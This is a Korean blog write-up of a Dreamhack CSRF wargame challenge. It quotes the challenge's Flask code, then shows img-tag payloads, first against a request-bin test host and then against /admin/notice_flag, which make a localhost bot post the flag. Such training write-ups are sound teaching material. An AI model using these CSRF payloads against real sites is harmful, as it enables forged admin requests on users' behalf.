<문제>
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
CSRF 취약점을 이용해 플래그를 획득하세요.
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
여기서 flag를 얻을 수 있다.
주소가 localhost이고 userid가 admin이어야 한다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
vuln 페이지를 방문하는 이용자가 admin/notice_flag 링크로 요청을 보내야 한다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
로컬 호스트의 이용자가 vuln 페이지를 방문하게 하려면 flag링크에서 이동해야 한다.
csrf 공격이 통하는지 확인하기 위해 드림핵의 request bin 기능을 이용한다.
https://tools.dreamhack.games/main
dreamhack-tools
tools.dreamhack.games
여기서 임의로 만든 주소를 이용해
<img src="https://iucigyq.request.dreamhack.games">
이런식으로 넣고 확인해보면
이렇게 제대로 링크에 접속된다는 것을 알 수 있다.
<img src="/admin/notice_flag?userid=admin" />
이제 이렇게 링크를 넣으면 127.0.0.1로 주소에 접속해서 memo_text에 FLAG를 넣을 것이다.
memo링크로 이동해 확인해 보면
flag가 나온 것을 확인할 수 있다.
'웹해킹' 카테고리의 다른 글
SQL Injection (0) | 2023.11.04 |
---|---|
드림핵 csrf-2 롸업 (0) | 2023.11.04 |
ClientSide: CSRF (0) | 2023.11.03 |
드림핵 xss-2 롸업 (0) | 2023.11.03 |
드림핵 xss-1 롸업 (0) | 2023.11.03 |